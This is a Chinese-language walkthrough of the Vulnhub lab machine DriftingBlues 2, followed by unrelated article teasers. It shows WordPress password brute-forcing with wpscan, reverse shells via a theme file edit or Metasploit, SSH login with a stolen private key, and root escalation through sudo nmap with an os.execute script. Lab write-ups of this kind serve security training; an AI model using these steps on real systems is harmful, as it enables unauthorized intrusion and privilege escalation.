[Vulnhub靶机] DriftingBlues: 2

[Vulnhub靶机] DriftingBlues: 2靶机渗透思路及方法(个人分享)

靶机下载地址:

https://download.vulnhub.com/driftingblues/driftingblues2.ova


靶机地址:192.168.67.21

攻击机地址:192.168.67.3


一、信息收集

1.使用 arp-scan 命令扫描网段内存活的主机,以获取靶机ip地址

arp-scan -I 指定网卡 -l

20602181a98c4db6ad45166bd74993a0.png

2.使用nmap工具扫描靶机开放端口、服务版本以及系统版本,得到开放端口21、22、80及其服务ftp、ssh、http

nmap -sV -O 靶机地址

        -sV        探测主机服务版本

        -O         识别主机操作系统

ed092ec92aab4d87af520df9c49e2072.png

3.访问网站,和查看网页源代码都没有发现有什么有用的信息,通过Wappalyzer插件查看网站信息,发现该网站的CMS是WordPress

2188279f39a94674b015de8b766e3689.png

c07cf0d76e8f40559ff4912b2eed906c.png

4.访问ftp,利用匿名用户登录(用户名为ftp或anonymous,密码为空),查看后发现一个secret.jpg图片,将图片下载到本地进行查看分析,也没有找到什么有用的信息

f0ae433661cd469d9b8688522fcfc6bc.png

4493842d028f456490d1e365af36a9e6.png

5.将思路重新放在网站上,使用dirsearch工具对网站目录进行扫描,获得/blog和/blog/wp-login.php文件,该文件就是WordPress系统中负责用户登录和认证的文件

dirsearch -u 靶机URL

        -u        指定目标URL

6967701ef41842a783969f378568e5e1.png

6.在访问/blog时,点击跳转按钮,多次跳转到driftingblues.box域名下的地址,猜测可能需要使用域名进行访问,更改hosts文件,再次登录/blog/wp-login.php网页,获得登录页面

1cd73163668b4c4a847f86bd96e63cc1.png

798c60d0b2fc4c52acd5c433159fb4be.png

fcb5093581ad4ca6bdc85eea89b4aa74.png

二、漏洞利用

 尝试使用 wpscan 工具对登录使用的用户名和密码进行爆破,获得用户名/密码(albert/scotland1)

wpscan --url http://driftingblues.box/blog --enumerate u

        --url                        目标URL

        --enumerate           enumerate参数指定u,枚举站点用户名

2e672781165b4e718b051d400364c4d6.png

fdb1f49d4b414dfc964f20506b3f9476.png

wpscan --url http://driftingblues.box/blog/ -P /usr/share/wordlists/rockyou.txt --usernames albert

        -P                        指定密码字典

        --usernames       指定用户名

/usr/share/wordists/rockyou.txt 是kali系统自带的密码文件,默认是个压缩包需要自行解压

89568933d2ce4775a0a86a28248589f5.png

a4864d5f06de470daddb8029d49c7737.png

三、反弹shell

此时有两种反弹shell的方法:

        第一种:将php reverse shell的代码写入替换Theme File Editor中的404.php模版,如果可以update file成功,就可以获取目标主机的shell;

        第二种:利用Wordpress的漏洞,使用Metasploit工具中的Metasploit中的exploit/unix/webapp/wp_admin_shell_upload模块获取目标主机的Shell

第一种反弹shell方法

1.使用刚才爆破获得的用户名/密码登录网站,进入管理系统内,到Theme File Editor页面,选择404.php模版进入网页内

68453cbdeaf2487bb53c90804e592d15.png

2.在攻击机打开nc监听

nc -lvp 监听端口号 靶机地址

        -l             开启监听

        -v            显示详细输出

        -p            指定监听端口

64451641726b45ca8fa816bd6cfa7a7f.png

3.将php reverse shell的代码写入到404.php模版中,点击Update File按钮

php reverse shell的代码地址:php-reverse-shell - 菜鸟学院

851f2cf92c00476c80306fb40c381f05.png

4.在攻击机中访问靶机网站中一个不存在的页面,成功反弹shell(可惜利用该脚本反弹的shell无法通过python中的pty模块创建交互式shell,大家可以试试其他博主写的脚本 ),且shell权限为www-data

访问不存在的页面:http://driftingblues.box/blog/index.php/xxx/xxx

e3447789fc494122a97961685b2ff7bb.png

第二种反弹shell方法

1.打开 msf ,使用命令进入exploit/unix/webapp/wp_admin_shell_upload模块

msfconsole                                打开msf命令(在终端输入)

use exploit/unix/webapp/wp_admin_shell_upload        进入模块命令

8a4f5ac7a774468dae2f87fd29500dad.png

2.查看需要配置的参数,并对模块参数进行配置,并再次查看配置参数进行检查(要检查好确认配置成功)

show options                查看配置参数

set 属性名                    对参数进行配置

851bdf2fcb3f482cbac8b3a94942c97e.png

6eb1a6c1a2264152802d06d42b2ebff8.png

3.配置完成,运行命令获取目标靶机的shell,通过命令打开交互式界面

run或exploit        执行漏洞模块命令

shell -t                打开交互式界面(在meterpreter界面执行)

run或exploit命令的区别:

        exploit命令用于选择并执行一个特定的漏洞利用模块。当你在Metasploit中找到了一个适合目标系统的漏洞利用模块后,你可以使用exploit命令来执行该模块,尝试利用目标系统上的漏洞。这个命令通常用于实际的攻击过程,以获取对目标系统的访问权限或控制权。

        run命令则用于执行当前已选定的模块或脚本。在Metasploit中,可以通过一系列的操作来选择并配置一个模块,然后使用run命令来执行该模块。这个命令通常用于执行各种辅助模块、扫描模块、信息收集模块等,并非直接用于实施攻击。

shell -t命令的作用是创建一个交互式的本地shell。这个命令允许用户在受感染的系统上执行命令,并与目标系统进行交互。

9b62f5fe545b4fb1ba23a0bcb665a5da.png

四、提权

1.在对系统文件进行查看分析之后,我们发现在/home目录下有一个freddie用户的家目录文件,并且发现该目录下存在一个.ssh目录,该目录下存在id_rsa(私钥文件),且该文件有可读权限

7f47317083f74fc1994255637a71ea61.png

e55295f3a29a4dd4b94b485a9da85780.png

2.我们查看id_rsa文件内容,将内容复制到本地,并将文件权限改为只有所属可读可写

chmod 600 id_rsa                更改id_rsa文件权限为所属可读可写

cd4e887cdf5d46c48ad20df7f7a6bb4d.png

91e938f104cb43e7837c07c92cfe98bc.png

3.使用私钥进行ssh远程登录,登录到freddie用户

0184c3c58d1a405383a5a780224442cf.png

4.习惯性用find命令查找特殊权限文件,进行尝试发现无法利用。但是其中有sudo命令,我们可以使用命令查看当前用户以超级用户(root)权限执行的命令,我们发现了nmap命令

sudo -l                用于列出当前用户可以以超级用户(root)权限运行的命令

这个命令会检查用户的sudo权限,并显示该用户能够执行的命令列表。通过使用sudo -l,用户可以查看自己被授权使用sudo命令时可以执行的特定命令。

e67489c7d70042ddbdf509e5e3f61222.png

5.利用nmap脚本进行提权,成功提权至root权限

echo "os.execute('/bin/bash')" > shell.nse

sudo nmap --script=shell.nse

        --script                指定要加载的脚本

写一个nmap脚本(nmap脚本必须以nse为后缀),其中写入提权命令,利用nmap会以root权限执行命令的漏洞进行提权

在nmap脚本中,os.execute()函数是用于执行操作系统命令的Lua函数之一。通过使用os.execute()函数,可以在Nmap脚本中执行操作系统命令,并获取其输出。它接受一个字符串参数,该字符串包含要执行的命令。

ee58c53007d2447f8f2e01ff9a64fa46.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/288582.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

用PHP搭建一个绘画API

【腾讯云AI绘画】用PHP搭建一个绘画API 大家好!今天我要给大家推荐的是如何用PHP搭建一个绘画API,让你的网站或应用瞬间拥有强大的绘画能力!无论你是想要让用户在网页上绘制自己的创意,还是想要实现自动绘画生成特效,这…

SpringBoot 集成支付宝支付

网页操作步骤 1.进入支付宝开发平台—沙箱环境 使用开发者账号登录开放平台控制平台 2.点击沙箱进入沙箱环境 说明:沙箱环境支持的产品,可以在沙箱控制台 沙箱应用 > 产品列表 中查看。 3.进入沙箱,配置接口加签方式 在沙箱进行调试前…

Alibaba Cloud Linux镜像操作系统详解(全方位解析)

Alibaba Cloud Linux是基于龙蜥社区OpenAnolis龙蜥操作系统Anolis OS的阿里云发行版,针对阿里云服务器ECS做了大量深度优化,Alibaba Cloud Linux由阿里云官方免费提供长期支持和维护LTS,Alibaba Cloud Linux完全兼容CentOS/RHEL生态和操作方式…

RocketMQ5.0顺序消息设计实现

前言 顺序消息是 RocketMQ 提供的一种高级消息类型,支持消费者按照发送消息的先后顺序获取消息,从而实现业务场景中的顺序处理。 顺序消息的顺序关系通过消息组(MessageGroup)判定和识别,发送顺序消息时需要为每条消息…

【响应式编程-01】Lambda表达式初体验

一、简要描述 Lambda初体验Lambda表达式的语法格式Lambda表达式应用举例Lambda表达式底层实现 二、什么是Lambda表达式 Java8新特性,来源于数学中的λ[l:mdə]演算 是一套关于函数(f(x))定义、输入量、输出量的计算方案 Lambda表达式 -> 函数 使代码变得简洁…

【AI】DETR模型可视化操作

Detr作为目标检测的算法,不同于之前算法的就是注意力机制,注意力机制能够直观看出来模型对图像关注的点,这个直观到底怎么直观呢,我们只听别人说肯定是不行的,上手测试才是最好的方式,像论文中插图那样的使…

jQuery框架

1.1、jQuery简介 jQuery 是一个高效、精简并且功能丰富的 JavaScript 工具库。它提供的 API 易于使用且兼容众多浏览器,这让诸如 HTML 文档遍历和操作、事件处理、动画和 Ajax 操作更加简单。目前超过90%的网站都使用了jQuery库,jQuery的宗旨&#xff1…

CMake入门教程【核心篇】添加应用程序(add_executable)

😈「CSDN主页」:传送门 😈「Bilibil首页」:传送门 😈「本文的内容」:CMake入门教程 😈「动动你的小手」:点赞👍收藏⭐️评论📝 文章目录 1. 概述2. 使用方法2…

Linux 的引导与服务控制

一 开机启动过程 bios加电自检-->mbr-->grub-->加载内核文件-->启动进程 1 bios家电自检 检测硬件是否正常,然后根据bios中的启动项设置,去找内核文件 2 mbr 因为grup太大,第一个扇区存不下所有的grub程序,所以分为2部分指…

视频剪辑高手实战:批量置入随机封面,高效制作

随着数字媒体时代的到来,视频内容已成为日常生活中不可或缺的一部分。无论是社交媒体、新闻、教育还是娱乐,视频都以其独特的魅力吸引着眼球。高质量的视频内容要经过精细的剪辑和包装。现在来讲解云炫AI智剪如何通过批量置入随机封面,高效制…

鸿蒙HarmonyOs:为什么不支持热更新?

学习了一段时间的鸿蒙开发,发现鸿蒙开发还是比较简单的,今天突然心血来潮,研究了一下鸿蒙热更新,最终得出的结论是鸿蒙暂时不支持热更新。 鸿蒙app开发主要是利用的ArkTs语言,ArkTs又是基于TypeScript语言的&#xff0…

Linux network — 网络层收发包流程及 Netfilter 框架浅析

Linux network — 网络层收发包流程及 Netfilter 框架浅析 1. 前言2. 基础网络知识2.1 网络分层模型2.2 数据包协议分层2.3 sk_buff 结构2.4 收发包整体框架 3. 网络层(IPv4)收发包流程4. Netfilter 框架4.1 IPv4 网络层的 Netfilter Hook 点4.2 iptable…

Java基础-----集合类(二)

文章目录 1. 泛型简介2. 使用泛型的好处3.使用泛型3.1 泛型类3.2 泛型接口3.3 泛型方法 4 泛型的通配符4.1 <?>&#xff1a;无边界的通配符4.2 <? extends E>&#xff1a;固定上边界的通配符4.3 <? super E>&#xff1a;固定下边界的通配符 5.总结 今天主…

Invalid bound statement (not found)异常解决方案归纳

一、包名映射不对&#xff08;新建多级mapper文件夹引起的&#xff0c;解决方案在下面链接有详细解释&#xff09; Invalid bound statement (not found)异常解决_invalid bound statement (not found): com.ruoyi.map-CSDN博客 二、mapper.xml中的namespace和实际的mapper文…

软考证书学下来,对找工作有哪些帮助?

“软考&#xff1f;真的别考”。 “考了半天&#xff0c;到过期了还能没用上&#xff0c;hr根本不看”。 我在豆瓣上看着网友们的评论&#xff0c;心中五味杂陈。 每年有超过100万人参加的考试&#xff0c;却被人吐槽说一无是处&#xff1f; 这种国家级认证的考试&#xff0…

小白也能看得懂的Jmeter性能测试中服务端资源监控技术

操作步骤&#xff1a; 1、安装插件管理器 插件管理器的作用&#xff1a;可以提供扩展插件的在线安装升级和卸载。因为我们需要在线安装监控插件&#xff0c;首先我们就要先安装插件管理器。 插件管理器的下载地址&#xff1a;https://jmeter-plugins.org/install/Install/ 如…

【论文笔记】An Extractive-and-Abstractive Framework for Source Code Summarization

An Extractive-and-Abstractive Framework for Source Code Summarization 1. Introduction2. Model2.1 Overview2.2 Training of EACS2.2.1 Part i : Training of Extractor2.2.2 Part ii : Training of Abstracter 3. Evaluation 1. Introduction 代码摘要可以细分为抽取式代…

LeetCode2.AddTwoNumbers两数相加(Java可运行,带测试用例)

一、题目 给你两个 非空 的链表&#xff0c;表示两个非负的整数。它们每位数字都是按照 逆序 的方式存储的&#xff0c;并且每个节点只能存储 一位 数字。 请你将两个数相加&#xff0c;并以相同形式返回一个表示和的链表。 你可以假设除了数字 0 之外&#xff0c;这两个数都…

十大性能测试工具

这篇关于“性能测试工具”的文章将按以下顺序让您了解不同的软件测试工具&#xff1a; 什么是性能测试&#xff1f;为什么我们需要性能测试&#xff1f;性能测试的优势性能测试的类型十大性能测试工具 什么是性能测试&#xff1f; 性能测试是一种软件测试&#xff0c;可确保…

OpenFeign相关面试题及答案(2024)

1、什么是OpenFeign&#xff0c;它如何简化远程服务调用&#xff1f; OpenFeign是一个声明式的Web服务客户端&#xff0c;它使得编写HTTP客户端变得更加容易。它属于Spring Cloud Netflix项目的一部分&#xff0c;可以与Spring Boot应用轻松集成。通过使用OpenFeign&#xff0…